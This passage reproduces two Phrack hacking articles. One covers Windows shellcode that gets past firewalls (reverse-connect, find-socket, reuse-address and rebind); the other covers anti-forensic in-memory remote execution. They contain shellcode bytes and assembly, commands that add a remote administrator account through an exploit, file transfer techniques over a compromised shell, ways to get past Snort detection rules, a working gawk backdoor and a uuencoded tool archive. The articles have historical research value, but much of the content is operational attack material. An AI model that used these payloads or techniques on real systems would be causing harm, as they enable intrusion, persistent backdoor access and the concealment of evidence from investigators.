"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

```

We can use the following statements in our exploit to change the IP and port to our machine which has netcat listening for a shell.

```

*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;

```

The JRun/ColdFusion exploit is attached in the Code section (weiwei.pl). The exploit uses Reverse connect shellcode.

--[3.b.2 Problem with reverse connect shellcode

It is not unusual to find server which has been configure to block out going connection. Firewall usually blocks all outgoing connection from DMZ.

--[4 One-Way shellcode

With the assumption that firewall has been configured with the following rules:

- * Blocks all ports except for listening ports of the services
- * Blocks all outgoing connections from server

Is there any way to control the server remotely? In some case, it is possible to use existing resources in the vulnerable service to establish the control. For example, it may be possible to hook certain functions in the vulnerable service so that it will take over socket connection or anything similar. The new function may check any network packet for a specific signature. If there is, it may execute command that attached along with the network packet. Otherwise, the packet passes to the original function. We can then connect to the vulnerable service with our signature to trigger a command execution. As early as in 2001, Code Red worm uses some sort of function hooking to deface web site
(<http://www.eeye.com/html/Research/Advisories/AL20010717.html>).

Another alternative will be to use resources that available from the vulnerable service. It is also possible to patch the vulnerable service to cripple the authentication procedure. This will be useful for services like database, telnet, ftp, SSH and alike. In the case of Web server, it is possible to create PHP/ASP/CGI pages in the web root that will allow remote command execution via web pages. The shellcode in the following link create an ASP page, as implemented by Mikey (Michael Hendrickx):

http://users.pandora.be/0xffffffffce/scanit/tools/sc_aspcmd.c

Code Red 2 worm also has a very interesting method to create a backdoor of an IIS server. It creates a virtual path to drive C: and D: of the server to the web root. Using these virtual paths, attacker can execute cmd.exe which will then allow remote command execution:

<http://www.eeye.com/html/research/advisories/AL20010804.html>

However, these implementations are specific to the service we are exploiting. We hope to find a generic mechanism to bypass the firewall rules so that we can easily reuse our shellcode. With the assumption that the only way to interact with the server is through the port of the vulnerable service, we call these shellcode, One-way shellcode:

- * Find socket
- * Reuse address socket
- * Rebind socket

--[4.a Find socket shellcode

This method was documented in LSD's paper on Unix shellcode

(http://lsd-pl.net/unix_assembly.html). Although the code is for Unix, we can use the same technique in the Windows world. The idea is to locate the existing connection that the attacker was using during the attack and use that connection for communication.

Most WinSock API requires only the socket descriptor for its operation. So, we need to find this descriptor. In our implementation, we loop from 0x80 onwards. This number is chosen because socket descriptors below 0x80 are usually not relevant to our network connection. In our experience, using socket descriptor below 0x80 in WinSock API sometimes crash our shellcode due to lack of Stack space.

We will get the destination port of the network connection for each socket descriptor. It is compared with a known value. We hard coded this value in our shellcode. If there is a match, we found our connection. However, socket may not be a non-overlapping socket. Depending on the program that created the socket, there is possibility that the socket we found is an overlapping socket. If this is the case, we cannot use it directly as in/out/err handler in CreateProcess(). To get an interaction communication from this type of socket, we can anonymous pipe. Description on using anonymous pipe in shellcode can be found in article by Dark Spyrit (<http://www.phrack.org/show.php?p=55&a=15>) and LSD (http://lsd-pl.net/windows_components.html).

```
xor     ebx,ebx
mov     bl,80h
find:
    inc     ebx
    mov     dword ptr [ebp],10h
    lea     eax,[ebp]
    push    eax
    lea     eax,[ebp+4]
    push    eax
    push    ebx
    call    dword ptr [edi-4]
    cmp     word ptr [ebp+6],1234h
    jne     find
found:
    push    ebx
```

;socket
;getpeername
;myport
;socket

Find socket shellcode work by comparing the destination port of the socket with a known port number. Thus, attacker must obtain this port number first before sending the shellcode. It can be easily done by calling getsockname() on a connected socket.

It is important to note that this type of shellcode should be use in an environment where the attacker is not in a private IP. If you are in a private IP, your Firewall NATing will create a new connection to the victim machine during your attack. That connection will have a different source port that what you obtain in your machine. Thus, your shellcode will never be able to find the actually connection.

Find socket implementation can be found in findsock.asm in the Code section. There is also a sample usage of find socket shellcode in hellobug.pl, an exploit for MS SQL discovered Dave Aitel.

--[4.a.1 Problem with Find socket shellcode

Find socket could be perfect, but in some case, socket descriptor of the attacking connection is no longer available. It is possible that the socket might already been closed before it reach the vulnerable

code. In some case, the buffer overflow might be in another process altogether.

--[4.b Reuse address shellcode

Since we fail to find the socket descriptor of our connection in a vulnerability that we are exploiting, we need to find another way. In the worst scenario, the firewall allows incoming connection only to one port; the port which the vulnerable service is using. So, if we can somehow create a bind to port shellcode that actually bind to the port number of the vulnerable service, we can get a shell by connecting to the same port.

Normally, we will not be able to bind to a port which already been used. However, if we set our socket option to `SO_REUSEADDR`, it is possible bind our shellcode to the same port of the vulnerable service. Moreover, most applications simply bind a port to `INADDR_ANY` interface, including IIS. If we know the IP address of the server, we can even specify the IP address during `bind()` so that we can bind our shellcode in front of vulnerable service. Binding it to a specific IP allow us to get the connection first.

Once this is done, we just need to connect to the port number of the vulnerable service to get a shell. It is also interesting to note that Win32 allow any user to connect to port below 1024. Thus, we can use this method even if we get IUSR or IWAM account.

If we don't know the IP address of the server (may be it is using port forwarding to an internal IP), we still can bind the process to `INADDR_ANY`. However, this means we will have 2 processes excepting connection from the same port on the same interface. In our experience, we may need to connect a few times to get a shell. This is because the other process could occasionally get the connection.

API needed to create a reuse address shellcode:

```
*      WSASocketA()  
*      setsockopt()  
*      bind()  
*      listen()  
*      accept()
```

--[4.b.1 Reuse address shellcode implementation

```
mov     word ptr [ebp],2  
push    4  
push    ebp  
push    4                      ;SO_REUSEADDR  
push    0ffffh  
push    ebx  
call    dword ptr [edi-20]      ;setsockopt  
mov     word ptr [ebp+2],5000h  ;port  
mov     dword ptr [ebp+4], 0h   ;IP, can be 0  
push    10h  
push    ebp  
push    ebx  
call    dword ptr [edi-12]      ;bind
```

Reuse address shellcode implementation is in `reuse.asm` (434 bytes) in the Code section. Same usage of this type of shellcode is implemented in `reusewb.c` exploit. This exploit is using the NTDLL (WebDav)

vulnerability on IIS Web server.

--[4.b.2 Problem with reuse address shellcode

Some applications use `SO_EXCLUSIVEADDRUSE`, thus reusing the address is not possible.

--[4.c Rebind socket shellcode

It is not unusual to find application that actually uses `SO_EXCLUSIVEADDRUSE` option to prevent us to reuse its address. So, our research did not stop there. We feel that there is a need to create a better shellcode. Assuming that we have same restriction we have as before. The only way to connect to the vulnerable machine is via the port of the vulnerable service. Instead of sharing the port gracefully as reuse address socket shellcode, we can take over the port number entirely.

If we can terminate the vulnerable service, we can bind our shell into the very same port that was previously used by the vulnerable service. If we can achieve that, the next connection to this port will yield a shell.

However, our shellcode is usually running as part of the vulnerable service. Terminating the vulnerable service will terminate our shellcode.

To get around with this, we need to fork our shellcode into a new process. The new process will bind to a specific port as soon as it is available. The vulnerable service will be forcefully terminated.

Forking is not as simple as in Unix world. Fortunately, LSD has done all the hard work for us (http://lsd-pl.net/windows_components.html). It is done in the following manner as implemented by LSD:

1. Call `CreateProcess()` API to create a new process. We must supply a filename to this API. It doesn't matter which file, as long as it exist in the system. However, if we choose name like `IExplore`, we might be able to bypass even personal firewall. We also must create the process in Suspend Mode.
2. Call `GetThreadContext()` to retrieve the environment of the suspended process. This call allows us to retrieve various information, including CPU registry of the suspended process.
3. Use `VirtualAllocEx()` to create enough buffer for our shellcode in the suspended process.
4. Call `WriteProcessMemory()` to copy our shellcode from the vulnerable service to the new buffer in the suspended process.
5. Use `SetThreadContext()` to replace EIP with memory address of the new buffer.
6. `ResumeThread()` will resume the suspended thread. When the thread starts, it will point directly to the new buffer which contains our shellcode.

The new shellcode in the separate process will loop constantly trying to bind to port of the vulnerable service. However, until we successfully terminate the vulnerable machine it will not be able to continue.

Back in our original shellcode, we will execute `TerminateProcess()` to forcefully terminate the vulnerable service. `TerminateProcess()` take two parameters, the Process handle to be terminated and the return

value. Since we are terminating the current process, we can just pass -1 as the Process Handle.

As soon as the vulnerable service terminated, our shellcode in a separate process will be able to bind successfully to the specific port number. It will continue to bind a shell to that port and waiting for connection. To connect to this shell, we just need to connect to the target machine on the port number of the vulnerable service.

It is possible to improve the shellcode further by checking source port number of IP before allowing a shell. Otherwise, anyone connecting to that port immediately after your attack will obtain the shell.

--[4.c.1 Rebind socket shellcode implementation

Rebind socket shellcode is implemented in rebind.asm in the Code section. We need to use a lot of APIs in this shellcode. Loading these APIs by name will make our shellcode much bigger than it should be. Thus, the rebind socket shellcode is using another method to locate the APIs that we need. Instead of comparing the API by its name, we can compare by its fingerprint/hash. We generate a fingerprint for each API name we want to use and store it in our shellcode. Thus, we only need to store 4 bytes (size of the fingerprint) for each API. During shellcode execution, we will calculate the fingerprint of API name in the Export Table and compare it with our value. If there is a match, we found the API we need. The function that loads an API address by its fingerprint in rebind.asm was ripped from HD Moore's MetaSploit Framework (http://metasploit.com/sc/win32_univ_loader_src.c).

A sample usage of a rebind socket shellcode can be found rebindwb.c and lengmui.c in the Code section. Rebindwb.c is an exploit modified from the previous WebDAV exploit that make use of Rebind shellcode. It will attack IIS, kill it and take over its port. Connecting to port 80 after the exploit will grant the attacker a shell.

The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP 1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP 1433 will grant the attacker a shell.

--[4.d Other one-way shellcode

There are other creative mechanisms being implemented by Security Expert in the field. For example, Brett Moore's 91 bytes shellcode as published in Pen-Test mailing list (<http://seclists.org/lists/pen-test/2003/Jan/0000.html>). It is similar to the Find Socket shellcode, only that, instead of actually finding the attacking connection, the shellcode create a new process of CMD for every socket descriptor.

Also similar to Find socket shellcode, instead of checking the destination port to identify our connection, XFocus's forum has discussion on sending additional bytes for verification. Our shellcode will read 4 more bytes from every socket descriptor, and if the bytes match with our signature, we will bind a CMD shell to that connection. It could be implemented as:

- * An exploit send additional bytes as signature ("ey4s") after sending the overflow string
- * The shellcode will set each socket descriptor to non-blocking

```
*      Shellcode call API recv() to check for "ey4s"
*      If there is a match, spawn CMD
*      Loop if not true
```

It is also possible to send it with "MSG_OOB" flag. As implemented by san_at_xfocus d0t org.

Yet, another possibility is to implement shellcode that execute command that attached in the shellcode it self. There is no need to create network connection. The shellcode just execute the command and die. We can append our command as part of the shellcode and execute CreateProcess() API. A sample implementation can be found on dcomx.c in the Code section. For example, we can use the following command to add a remote administrator to a machine which is vulnerable to RPC-DCOM bug as discovered by LSD.

```
# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"
```

--[5 Transferring file using shellcode

One of the most common things to do after you break into a box is to upload or download files. We usually download files from our target as proof of successful penetration testing. We also often upload additional tools to the server to use it as an attacking point to attack other internal server.

In the absent of a firewall, we can easily use FTP or TFTP tools found in standard Windows installation to get the job done:

```
*      ftp -s:script
*      tftp -i myserver GET file.exe
```

However, in a situation where there is no other way to go in and out, we can still transfer file using the shell we obtain from our One-way shellcode. It is possible to reconstruct a binary file by using the debug.exe command available in almost every Windows.

--[5.a Uploading file with debug.exe

We can create text file in our target system using the echo command. But we can't use echo to create binary file, not with the help from debug.exe. It is possible to reconstructing binary using debug.exe. Consider the following commands:

```
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
```

The echo command will construct a debug script which contains necessary instructions code in hex value to create a simple binary file. The last command will feed the script into debug.exe, which will eventually generate our binary file.

However, we cannot construct a binary file larger than 64k. This is the limitation of the debug.exe itself.

--[6.b Uploading file with VBS

Thus, a better idea to upload a binary file is to use Visual Basic Script. VBS interpreter (cscript.exe) available by default in almost all Windows platform. This is our strategy:

1. Create a VBS script that will read hex code from a file and rewrite it as binary.
2. Upload the script to target using "echo" command.
3. Read file to be uploaded, and "echo" the hex code to a file in the target server.
4. Run the VBS script to translate hex code to binary.

A sample script like below can be use to read any binary file and create the correspondence ASC printable hex code file.

```
dread: while (1){
    $nread2 = sysread(INFO, $disbuf, 100);
    lastdread if $nread2 == 0;
    @bytes = unpack "C*", $disbuf;
    foreach $dab (@bytes){
        $txt .= sprintf "%02x", $dab;
    }
    $to .= "echo $txt >>outhex.txt\n";
    $nnn++;
    if ($nnn > 100) {
        print SOCKET $to;
        receive();
        print ".";
        $to="";
        $nnn=0;
    }
    $txt = "";
}
```

Then, we create our VBS decoder in the target machine - "tobin.vbs". We can easily use "echo" command to create this file in the target machine. This decoder will read the outhex.txt created above and construct the binary file.

```
Set arr = WScript.Arguments
Set wsf = CreateObject("Scripting.FileSystemObject")
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE)
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE)
do while infile.AtEndOfStream = false
    line = infile.ReadLine
    For x = 1 To Len(line)-2 Step 2
        thebyte = Chr(38) & "H" & Mid(line, x, 2)
        file.write Chr(thebyte)
    Next
loop
file.close
infile.close
```

Once the decoder is in the target machine, we just need to execute it to convert the Hex code into a binary file:

```
# cscript tobin.vbs outhex.txt out.exe
```

--[5.c Retrieving file from command line

Once we have the ability to upload file to the machine, we can upload a Base64 encoder to the target machine. We will use this encoder to encode any file into a printable Base64 format. We can easily print the output of the Base64 encoded in command line and capture the text. Once we have the complete file in Base64, we will save that into a file in our machine. Using WinZip or any Base64 decoder, we can convert that file back into its binary form. The following command allows us to retrieve any file in our target machine:

```
print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();
```

Fortunately, all these file upload/downloading can be automated. Refer to `hellobug.pl` in the Code section to see file transfer in action.

--[6 Avoiding IDS detection

Snort rules now have several Attack-Response signatures that will be able to detect common output from a Windows CMD shell. Every time we start CMD, it will display a banner:

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk
```

There is a Snort rule that capture this banner:

<http://www.snort.org/snort-db/sid.html?sid=2123>

We can easily avoid this by spawning `cmd.exe` with the parameter of `/k` in our shellcode. All we need to do is just to add 3 more bytes in our shellcode from `"cmd"` to `"cmd /k"`. You may also need to add 3 to the value in the decoder that count the number of byte that we need to decode.

There is also another Snort rules that capture a directory listing of the `"dir"` command in a Windows shell:

<http://www.snort.org/snort-db/sid.html?sid=1292>

The rule compares "Volume Serial Number" in any established network packet, if there is a match, the rule will trigger an alert.

```
# dir
Volume in drive C is Cool
Volume Serial Number is SKSK-6622

Directory of C:\Documents and Settings\sk

06/18/2004  06:22 PM    <DIR>          .
06/18/2004  06:22 PM    <DIR>          ..
12/01/2003  01:08 AM                     58 ReadMe.txt
```

To avoid this, we just need to include `/b` in our `dir` command. It is best if we set this in an environment so that `dir` will always use

this argument:

```
# set DIRCMD=/b
# dir
ReadMe.txt
```

Snort also has signature that detect "Command completed" in:

<http://www.snort.org/snort-db/sid.html?sid=494>

This command usually generated by the "net" command. It is easy to create a wrapper for the net command that will not display "Command completed" status or use other tools like "nbt dump", etc.

--[7 Restarting vulnerable service

Most often, after a buffer overflow, the vulnerable service will be unstable. Even if we can barely keep it alive, chances are we will not be able to attack the service again. Although we can try to fix these problem in our shellcode, but the easiest way is to restart the vulnerable service via our shell. This usually can be done using "at" command to schedule a command that will restart the vulnerable service after we exit from our shell.

For example, if our vulnerable service is IIS web server, we can reset it using a scheduler:

```
#at <time> iisreset
```

In the case of MS SQL Server, we just need to start the sqlserveragent service. This is a helper service installed by default when you install MS SQL Server. It will constantly monitor and check if the SQL Server process is running. If it is not, it will be started. Executing the following command in our shell will start this service, which in turn, help us to MS SQL Server once we exit.

```
#net start sqlserveragent
```

Another example is on the Workstation service bug discovered by Eeye. In this case, we don't have a helper service. But we can kill the relevant service, and restart it.

1. Kill the Workstation service

```
#taskkill /fi "SERVICES eq lanmanworkstation" /f
```

2. restart required services

```
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger" <== optional
...
```

If we exit our shellcode now, we can attack the machine via the Workstation exploit again.

--[8 End of shellcode?

Shellcode is simple to use and probably easiest to illustrate the severity of a vulnerability in proof of concept code. However there are a few more advance payload strategies released to the public by LSD's Windows ASM component, Core Security's Syscall Proxy, Dave

Aitel's MOSDEF, etc. These payloads offer much more than a shell. The References section provides a few good pointers to get more information. We hope you enjoy reading our article as much as other quality article from Phrack.

--[9 Greetz!

There are many good fellows we would like to thank for their continuous source of information to feed our hunger for knowledge. Without these guys, the security field will be boring.

My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and the rest of =da scan clan=, Ey4s, San and all that support XFocus team! RD and the rest of THC! The Grugg! Saumil! Sheeraj! Nitesh! Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost! BrightVaio! L33tdawg and the rest of HackInTheBox team!

Greetings to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many others Blackhat speakers for their excellence research!

--[10 References

- * Code to this article:
<http://www.scan-associates.net/papers/one-way.zip>
- * Shellcode and exploit:
HSJ - <http://hsj.shadowpenguin.org/misc/>
- * More shellcode!
HD Moore - <http://www.metasploit.com>
- * Advance payload:
CORE Security
- * Syscall Proxying ([http://www.blackhat.com/html/bh-usa-02/bh-usa-02-speakers.html#Maximiliano Caceres](http://www.blackhat.com/html/bh-usa-02/bh-usa-02-speakers.html#Maximiliano+Caceres))
- * Inlineegg
(<http://oss.coresecurity.com/projects/inlineegg.html>)
- * LSD (<http://www.hivercon.com/hc02/talk-lsd.htm>)
- * Eeye ([http://www.blackhat.com/html/win-usa-03/win-usa-03-speakers.html#Riley Hassel](http://www.blackhat.com/html/win-usa-03/win-usa-03-speakers.html#Riley+Hassel))
- * Dave Aitel (<http://www.immunitysec.com/MOSDEF/>)
- * Alexander E. Cuttergo (Impurity)

--[11 The code

Please see <http://www.scan-associates.net/papers/one-way.zip>

|=[EOF]=-----|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x08 of 0x10

```
|===== [ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=====|
|=====|
|===== [ by grugq ]=====|
```

- 1 - Abstract
- 2 - Introduction
- 3 - Principles
- 4 - Background
- 5 - Requirements
- 6 - Design and Implementation
 - 6.1 - gdbprpc
 - 6.2 - ul_exec
- 7 - Conclusion
- 8 - Greetings
- 9 - Bibliography
- 10 - SourceCode

---[1 - Abstract

The infrastructure of anti-forensics is built on the three strategies of data destruction, data hiding and data contraception. The principles of data contraception, and a technique for executing a data contraception attack are presented. This technique provides the ability to execute a binary on a remote system without creating a file on the disk.

---[2 - Introduction

In the years since the introduction of the first two strategies of anti-forensics [grugq 2002], there has been little additional public research on anti-forensics. This paper introduces and discusses a third core anti-forensics strategy: data contraception. Like the other anti-forensic strategies, data destruction and data hiding, data contraception seeks to reduce the quantity and quality of forensic evidence. Data contraception achieves this by using two core principles: preventing data from reaching the disk, and using common utilities, rather than custom tools, wherever possible.

The rest of this paper will explore data contraception, looking first at the core principles of data contraception, then at the requirements for a data contraception tool, and finally the design and implementation of such a tool: rexec (remote exec).

--[3 - Principles

Data contraception is the attempt to limit the quantity and quality of forensic evidence by keeping forensically valuable, or useful, data off the disk. To accomplish this there are two core techniques for interacting with the operating system: firstly, operate purely in memory, and secondly use common utilities rather than custom crafted tools.

The first principle of data contraception, keeping data off the disk, is most important when dealing with files that interact directly with the operating system such as binaries, LKMs and scripts. The second principle is for guidance when implementing the first principle, and it ensures that any data which does touch the disk is of limited value to a forensic analyst.

Operating in memory only is not a new technique and its already fairly well understood with regards to rootkit development. However, using in memory only techniques during a penetration is not as thoroughly documented in the literature. Within rootkit technologies, the most frequently encountered

technique for operating in memory is to use ptrace() to attach to an existing process and inject code into it's address space. Additionally, injecting kernel modules directly into the kernel is also a well known technique. This paper will focus on developing in memory systems for penetration tools.

Implementing an in-memory-only system requires a program on the remote target host acting as a server to interact with the operating system. This server acts as either an Inter Userland Device (IUD) -- providing access to its own address space -- or an Intra Userland Device (IUD) -- providing access to another address space. In either case, this IUD is critical to the effective execution of a successful data contraception attack.

The second principle of data contraception is critical in reducing the effectiveness of a forensic examination. The use of common utilities means that nothing of value exists for an analyst to recover. An example would be a back door written using gawk. Since some version 3.x, GNU Awk has supported network programming. Why the GNU people added network support to a text processing tools is something of a mystery, however it is a useful feature for a data contraception attack. Here is a proof of concept backdoor developed in a few minutes using gawk.

```
[-----]
#!/usr/bin/gawk -f

BEGIN {
    Port      =      8080
    Prompt    =      "bkd> "

    Service = "/inet/tcp/" Port "/0/0"
    while (1) {
        do {
            printf Prompt |& Service
            Service |& getline cmd
            if (cmd) {
                while ((cmd |& getline) > 0)
                    print $0 |& Service
                close(cmd)
            }
        } while (cmd != "exit")
        close(Service)
    }
}

[-----]
```

To effectively use a script, such as the above, in an attack, the attacker would employ the first principle of anti-forensics. In practice, this means the attacker would launch the script interpreter and then copy the script itself to the interpreter's stdin. This prevents the script from appearing on the disk where it might be discovered during a forensic analysis.

Using these two core principles of data contraception, the rest of this paper will examine some existing data contraception tools, along with the design and implementation of remote exec: rexec.

---[4 - Background

There are already several projects which use a data contraception methodology, although the terminology for data contraception is more recent than their development. The projects that the author is aware of are: MOSDEF; Core Impact, and ftrans. The first two projects are commercial penetration testing tools, the last is an "anti-honeypot" tool.

Core Impact implements a data contraception technique called "syscall proxying". Core Impact uses an exploited process as an IUD (Intra), and a client which contains the attacker's "business logic". The IUD server executes system calls for the client and returns the result. This allows the attacker's code to run locally on the client system, and yet behave as if it were local to the remote system. According to Dave Aitel, there are problems with technique, mostly related to execution speed and complexities involving fork().

As a solution to the problems he experienced implementing the Core Impact syscall proxying technique, Dave Aitel developed MOSDEF. MOSDEF uses an exploited process as an IUD (Intra), and a client which contains a compiler. This allows a penetration tester to build an arbitrary program on the client and inject it into the address space under the control of the IUD for execution. In this technique, the attacker's code runs on the remote host, however it exists only in memory. The problems with this technique are limitations in the size and complexity of the attacker's code, and all of the issues related to implementing a compiler.

Unrelated to the previous two penetration testing programs, ftrans is a pure anti-forensics tool designed to operate in the extremely hostile forensic environment of a honey pot. The ftrans program uses a custom built server which uses SSL to copy a binary from the client into it's own address space. It then uses `ul_exec()` [grugq 2004] to execute the binary from a memory buffer. This technique is most similar to what this paper will discuss, the design and implementation of rexec.

---[5 - Requirements

With data contraception, any action which requires the creation of a file is to be avoided. The most common reason for requiring a file is to execute a binary. Building a tool which can execute an arbitrary binary on a remote host leaves open any number of possible implementations. The requirements need to be narrowed down to a manageable set using the principles of data contraception. From those requirements it is then possible to develop a design and implementation.

Firstly, the tool has to be able to run over any number of shell connections, so the communications protocol between the client and server should be ASCII text based. Using ASCII text will mean a slow protocol, however robustness and effectiveness, rather than speed, are critical to the performance of the tool in the real world.

Secondly, the IUD server has to be a common Unix utility rather than a custom crafted tool. That way, the discovery of the server does not indicate that the compromised machine has been subjected to a data contraception attack. Using a common utility rather than writing a custom tool means that the IUD server will not be intelligent in how it operates. Based on the preceeding requirements, its clear that the client has to be complex to compensate for the dumb server. This is acceptable because the user of a data contraception tool will have complete control over at least one machine.

---[6 - Design and Implementation

The core design for a data contraception tool to execute binaries on a remote system purely from memory is:

- *) use an IUD to gain access to an address space
- *) upload the binary to execute into memory
- *) load the binary into an address space
- *) transfer control of execution to the binary

A library to load ELF binaries from memory into an existing address space already exists: `ul_exec`. Using `ul_exec` allows the tool to simply upload a copy of `ul_exec` and the binary, then transfer control to `ul_exec()`. Therefore, in order to implement the data contraception tool, all that is required is a suitable IUD.

A suitable IUD would have to be a common Unix utility which can manipulate registers and memory and accepts commands as text. There is one obvious solution: `gdb`. The GNU debugger uses text commands to interact with, and operate on, a slave child process.

Using `gdb` as an IUD allows an attacker to be exploit agnost for anti-forensic attacks. After using an arbitrary exploit to gain access to a shell, an attacker is able to execute any binary without creating a forensic trace. By the same token, once an attacker has shell access to a host, he is able to execute an arbitrary command without leaving any evidence of forensic value. An IUD separate from an exploited process allows an attacker to use anti-forensic attacks at any point after owning a box, rather than only during the initial exploitation phase.

--[6.1 - `gdbprpc`

To interface with `gdb`, a library was written which creates wrappers for the core functions of an IUD. These are memory and register access, and control over the execution of various regions of code. This library, `gdbprpc`, creates an arbitrary slave child process for an address space to manipulate.

Each `gdbprpc` session is described by an abstract object: `rgp_t`. This object is created using `rgp_init()`, which takes a readable and writeable file descriptor to a pty based shell. The facilities to execute system calls and examine and set memory contents are encapsulated behind standardised function calls. For example:

```
int rgp_brk(rgp_t *rp, void * end_data_segment);
void rgp_set_addr32(rgp_t *rp, void *addr, unsigned int val);
unsigned int rgp_get_addr32(rgp_t *rp, void *addr);
void rgp_set_reg(rgp_t *rp, rgp_reg reg, unsigned int val);
```

Copying data into and out of a slave process is accomplished using the functions:

```
void rgp_copy_to(rgp_t *rp, void *remote, void *local, size_t n);
void rgp_copy_from(rgp_t *rp, void *local, void *remote, size_t n);
```

With the `gdbprpc` API set, it is trivial to allocate memory in a process, copy in arbitrary quantities of code and data, and transfer control of execution.

--[6.2 - `ul_exec`

In order for the `ul_exec` library to be correctly loaded into the address space it needs to be relocated to the load address. This is done internally within `rexec`. First, `rexec` allocates the space for the library in the remote address space with `rgp_mmap()`. The address of that space is then used to relocate an internally loaded copy of the `ul_exec` library, and the resultant relocated library is then loaded remotely.

With the `ul_exec` library loaded in an address space, all that is required is creating a memory buffer containing the desired ELF binary. This is trivially accomplished using `rgp_mmap()` and `rgp_copy_to()`.

Finally, putting it all together it is possible to encapsulate the entire

process into a single call:

```
int rx_execve(int fd, char *fname, int argc, char **argv);
```

--[7 - Conclusion

Along with the other two anti-forensic strategies, data destruction and data hiding, data contraception helps an attacker reduce the effectiveness of a forensic analysis. Data contraception attack techniques have been used frequently in the past, although without the articulation of the formalised core principles. These two principles, operating in memory to keep data off the disk, and using common utilities rather than incriminating custom crafted tools, form the core of the data contraception strategy. A frequent component of data contraception attacks is an IUD, which acts as a server providing the client access to the operating system without altering the file system.

A tool which implements a data contraception attack, remote exec, uses gdb as an IUD providing access to a slave process' address space. Accessing rexec requires a complex client which can gain access to a pty based shell. A tool to encapsulate the rexec protocol has been developed: xsh. The "eXploit SHell" is embedded within screen and provides a rich data contraception environment for penetration time anti forensic attacks.

--[8 - Greets

gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random, joey, mikasoft, eugene.

--[9 - Bibliography

- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix
<http://www.phrack.org/phrack/59/p59-0x06.txt>
- grugq 2004 - The Design and Implementation of ul_exec
http://www.hcunix.net/papers/grugq_ul_exec.txt

--[10 - SourceC0de

```
begin 600 rexec-0.8.5.tar.gz
M'XL( '6RYT`'^P\85/;2++[U?H5'8[-R6';&QOR*@[L$>)<N"()1=C;W6)Y
M+EF6;5UD22O)!&Z3_VONV=&,Y)E2-X+I&X?JE2P6CT]/3W=/=TS+27>E>=N
M?7>G5[O=:S_9V<&?)7_\N].N_VD\V1[I]?M?-?NM'=W=[^#G;ME2UR+-',2
M@.^2*,INPKOM^7_HE?#\I\E=ZL'7S7_O"<Y_I[?;>YC_^ [CT_+]VWGL3/_"^
M?A]HS^W=7F_5_'?::[MJ_GN=[2[B=SN=SG?0_OJL+%__S^?_[.U];:_6:EG6
MX2'^F+JN=?CVY.P=_F[^Y'0!-'_RDB1*H#F=CD?6B\%+?&0=03D\__O'%@)".
M6M'\6K>13GW+#]U@,?8T')LDL:O@UN'+XX._$^EUF$NIP[HM2=%/(EZWK(-3
MQ,'Y22SKW2DQ]:L%?-5J3N"G6<NM(:A6FX\6$_4[\8(TTC>HTRW7LMX^_T=%
M\AH'IG-([-Y9%G'1\^Q>>"/!,2Q7@T.7@Q.!6P1,'!F62BEI\B]>$CCP'8X
M#/&7GB';=00'?)'_54"KA1T1"@Z440X/Z9F04QV:+C0C6/\;K#\C>K*'IX#=
M;\]:Z<RJM;;4;\AY@E9K:Q$,<\/6S*81[&M.+6N,XG`#SPF!_W\*5BV90W,"
M&ZT(-O[0S*H6WUI;'ZZO?6G_+TWH#OJXV?]W>G@)_]>[N$_Q-]^TGWRX/_O
MX_J+\MG/TFSL1ZW9OE4'H?,HPQ(_G!9A$S?,@B)H$:)O&9>:7J=;\[D3$M0`
M>\&DB,>>N0`1NEEL)M86`1QCY!)ZM8/CH[^_L=\WX+)>LVW[?7W3MB_1C7;J
M]<=_T$_ZE6._.SL]?'UB.PTX;<`(6^#0W'E,@%$=3J&- 'A)!"S>#9)A&P\1+
MH^`2?K=J@V#2W1Z^NY[7-B"]GF?.J*^`/T7)&*$S)YV58>[, \<,B$"`<+=SW
M7I8NP1F;P/@CJ5%'6<(>?>H7V")^+B.?.A@YJ8<-2'S#C.YC\XYBN[R7P6R<
M(,S#/\SGL1,!B<S@OKD,$C:^)[V59X"/\H5AR,M%\ /\RL,3T/(M=>A*D_#;TQ
M06$CBAN00X(HG#+##1']G7H!;"3J#F4+&RC:NH7#P]:X*&>P!^V^,=GCL1>.
M:S;2U7/Z'"G6;*K82>!XR(P:>XGPV@R2;W,T'\&<0QO[:>ZGV?#2"1;8#D?Z
MP<_&=B#XY?$V?#LEY.!:.'^DZA>)YF[V'><#KO_M3M\_\_-X"D&#A@G._.[
MA4?=>;7J'+"+S-*9-$&SWJ]%/#E<U@";P.%8T/!T<'YP=_7.@&\MFF!<:$7>
```

M"D?N+(*,,+<V@*\$*)MY&&[1E.\$<1B%DU[\$'3N+1="WB.\$HRG+&-+8Z-:!J:
M'9/(@)YR318ADY92H.^I8_6;>U0V."X6,I!9)"#;^K:, *%31(\N(-4S>T%\,E
